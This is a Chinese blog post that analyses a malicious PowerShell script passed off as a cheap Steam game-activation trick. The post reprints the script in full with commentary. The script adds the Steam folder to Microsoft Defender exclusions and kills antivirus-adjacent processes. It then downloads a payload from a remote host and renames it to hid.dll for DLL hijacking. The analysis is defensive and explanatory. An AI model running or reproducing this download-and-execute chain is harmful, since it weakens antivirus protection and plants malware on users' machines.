前言


最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了,很感兴趣,便借着文章浅浅的探究一下。

核心就两个步骤:

  • 步骤一:按住键盘win + X,找到powershell(终端管理员)
  • 步骤二:输入irm 2[.]steam[.]work|iex(已去功能化)

提一下irmiex

irm 是一个用来从互联网下载内容的命令。


详细一点讲:

  • irm 其实是 PowerShell 里的一个别名
  • 它的完整命令是 Invoke-RestMethod
  • 它的主要工作是向一个网址(URL)发送请求,并获取服务器返回的数据。

iex 是一个用来把纯文本(字符串)当作 PowerShell 命令来立即执行的命令。


  • iex 也是一个别名
  • 它的全称是 Invoke-Expression(调用表达式)
  • 它的工作极其简单粗暴:你给它一段纯文本(字符串),它会把这段文本当作 PowerShell 命令来立即执行。

这条指令就是下载 2.steam.work 网址上的所有文本,然后直接通过管道符(|)直接作为输入,给iex执行,这是及其危险的。

我们这里在虚拟机中利用

1
irm 2.steam.work > payload.txt

来把它的命令下载到文本文件中分析


PowerShell 命令分析


1
2
3
4
5
6
7
8
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = Join-Path $env:LOCALAPPDATA "Steam"
if (Test-Path $steamRegPath) {
$properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue
if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
$steamPath = $properties.SteamPath
}
}

简单的寻找 steam 客户端的安装路径

1
2
3
4
5
6
7
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (-not ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
$bytes = [byte[]](91,232,175,183,233,135,141,230,150,176,230,137,147,229,188,128,80,111,119,101,114,32,115,104,101,108,108,32,230,137,147,229,188,128,230,150,185,229,188,143,228,187,165,231,174,161,231,144,134,229,145,152,232,186,171,228,187,189,232,191,144,232,161,140,93)
$text = [System.Text.Encoding]::UTF8.GetString($bytes)
Write-Host $text -ForegroundColor:red
return
}

检查是否以管理员运行,若否,则输出[请重新打开Power shell 打开方式以管理员身份运行]

接下来,脚本定义了一个函数Start-SteamOptimization,并且运行了它。

我们来分析这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
try {
$security360check = $false
if(Get-Process "360Tray*" -ErrorAction SilentlyContinue){
$security360check = $true
while(Get-Process "360Tray*" -ErrorAction SilentlyContinue){
Write-Host "[360]" -ForegroundColor:Red
Start-Sleep 1.5
}
Start-SteamOptimization
}

if(Get-Process "360sd*" -ErrorAction SilentlyContinue) {
$security360check = $true
while(Get-Process "360sd*" -ErrorAction SilentlyContinue){
Write-Host "[360]" -ForegroundColor:Red
Start-Sleep 1.5
}
Start-SteamOptimization
}

if ($security360check) {
return
}
}
catch {}

首先它先检查了360的相关进程,如果发现则不断打印红色的[360],直到用户主动关闭360进程。

1
2
3
4
5
6
if ([string]::IsNullOrEmpty($steamPath)) {
Write-Host "[Steam]" -ForegroundColor:Red
return
}

Write-Host "[ServerStart OK]" -ForegroundColor:green

接着它检查你的客户端是否安装了steam(非空),过完上述检查后,打印服务启动成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
$processes = Get-Process -Name steam* -ErrorAction SilentlyContinue
if ($processes) {
$processes | ForEach-Object { $_.Kill() }
Start-Sleep 1.5
}

if (Get-Process -Name "steam.exe" -ErrorAction SilentlyContinue) {
$processes = Get-Process -Name "steam.exe" -ErrorAction SilentlyContinue
if ($processes) {
$processes | ForEach-Object { $_.Kill() }
Start-Sleep 1
}
}
}
catch {}

简单来说,该代码段作用为:强行关闭所有正在运行的 Steam 进程

1
2
3
4
5
6
7
8
9
if (-not (Test-Path $localPath)) {
try {
New-Item -Path $localPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
if (-not (Test-Path $localPath)) {
New-Item $localPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
}
}
catch {}
}

再次检查steam目录。因为脚本在后续步骤中需要下载(Payload 2)并写入一个名为 localData.vdf 的恶意文件到 $localPath 目录。

1
2
3
4
5
try {
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
Start-Sleep 2
}
catch {}

Add-MpPreference: 这是一个 PowerShell Cmdlet,它的唯一作用就是修改 Microsoft Defender (Windows 默认杀毒软件) 的设置

-ExclusionPath $steamPath: 这是它修改的具体设置。它告诉 Defender:“请将 $steamPath(即 Steam 的整个安装目录)添加到‘排除列表’(Exclusion list) 中。”

这样就能有效防止恶意dll的报错被杀。

1
Write-Host "[Result->0          OK]" -ForegroundColor:green

表示一个阶段的完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try {
$files = @(
"version.dll",
"user32.dll",
"steam.cfg",
"hid.dll",
"/appcache/packageinfo.vdf"
)

foreach ($file in $files) {
$targetPath = Join-Path $steamPath $file
if (Test-Path $targetPath) {
Remove-Item $targetPath -Force -ErrorAction SilentlyContinue | Out-Null
}
}

$d = $steamPath + "/hid"
}
catch {
$bytes = [byte[]](91,229,188,130,229,184,184,230,174,139,231,149,153,232,175,183,230,140,137,231,133,167,232,183,175,229,190,132,229,136,160,233,153,164,230,150,135,228,187,182,93,45,62)
$text = [System.Text.Encoding]::UTF8.GetString($bytes)
Write-Host "$text[$d]" -ForegroundColor:red
return
}

尝试清除“同类”的文件,如果自动失败就打印[异常残留请按照路径删除文件]-> +路径,让用户手动清理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$downApi = "http://3.steam.work/api/v1/download/pwsDown"

try {
irm -Uri $downApi -Method Post -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop
$newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll")
Rename-Item -Path $d -NewName $newFilePath

Write-Host "[Result->1 OK]" -ForegroundColor:green
$d = $localPath + "/localData.vdf"
irm -Uri $downApi -Method Post -Headers @{ Referer = "localData.vdf" } -OutFile $d -ErrorAction Stop
Write-Host "[Result->2 OK]" -ForegroundColor:green

Start-Sleep 1
}
catch {
Write-Host "[Download Failed]" -ForegroundColor:Red
return
}

主要是以特定方式请求,来下载相对应的文件。

Rename-Item -Path $d -NewName $newFilePath这是实现 DLL 劫持的关键。 脚本先下载一个没有后缀的文件(hid),然后再将其重命名hid.dll

意图: 直接下载 .dll 文件很容易被杀毒软件或防火墙拦截。通过“先下载,再重命名”的策略,大大提高了绕过检测的成功率。

1
2
3
4
5
6
7
8
9
10
11
12
   try {
Start-Process "steam://" -ErrorAction SilentlyContinue
$bytes = [byte[]](91,232,191,158,230,142,165,230,156,141,229,138,161,229,153,168,230,136,144,229,138,159,229,156,168,83,116,101,97,109,229,133,165,230,191,128,230,180,187,32,51,231,167,146,229,144,142,232,135,170,229,138,168,229,133,179,233,151,173,93)
$text = [System.Text.Encoding]::UTF8.GetString($bytes)
Write-Host $text -ForegroundColor:green
Start-Sleep 3
}
catch {
Write-Host "[Steam Start Failed]" -ForegroundColor:Red
}

exit

触发攻击:启动 Steam,使其加载刚刚植入的恶意 DLL。

注:steam:// 是一个 URL 协议,Windows 会用它来启动 Steam 客户端。

顺便一提登陆成功后Start-Process 命令才会返回,输出[连接服务器成功在Steam入激活 3秒后自动关闭],接着自然退出。

二进制文件后面有空再分析吧

关于空catch块

没有 try...catch 的情况 (正常情况)

在 PowerShell 中,当一个命令遇到“终止性错误”时,它会:

  1. 立即停止脚本的执行。
  2. 在控制台上打印出红色的、详细的错误信息

2. 使用了空的 catch {} 块 (恶意软件的情况)

try...catch 结构就是为了改变这种默认行为而设计的。

  • try { … } 的意思是:“尝试运行这里的代码。”
  • catch { … } 的意思是:“如果 try 块中的代码失败了,不要崩溃,而是继续运行这里的代码。”

catch 块是的时候,它的意思就变成了:“如果 try 块失败了,什么也不要做。不要打印信息,不要停止脚本,就假装什么都没发生过,然后继续往下走。”

文件篡改后果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 原始 Steam 文件结构
Steam/
├── steam.exe
├── steamapps/
├── user32.dll # 合法Windows组件
├── hid.dll # 合法HID驱动
└── steam.cfg # 客户端配置文件

# 脚本修改后
Steam/
├── steam.exe
├── steamapps/
├── hid.dll # 被替换为未知文件
└── localData.vdf # 新增可疑配置文件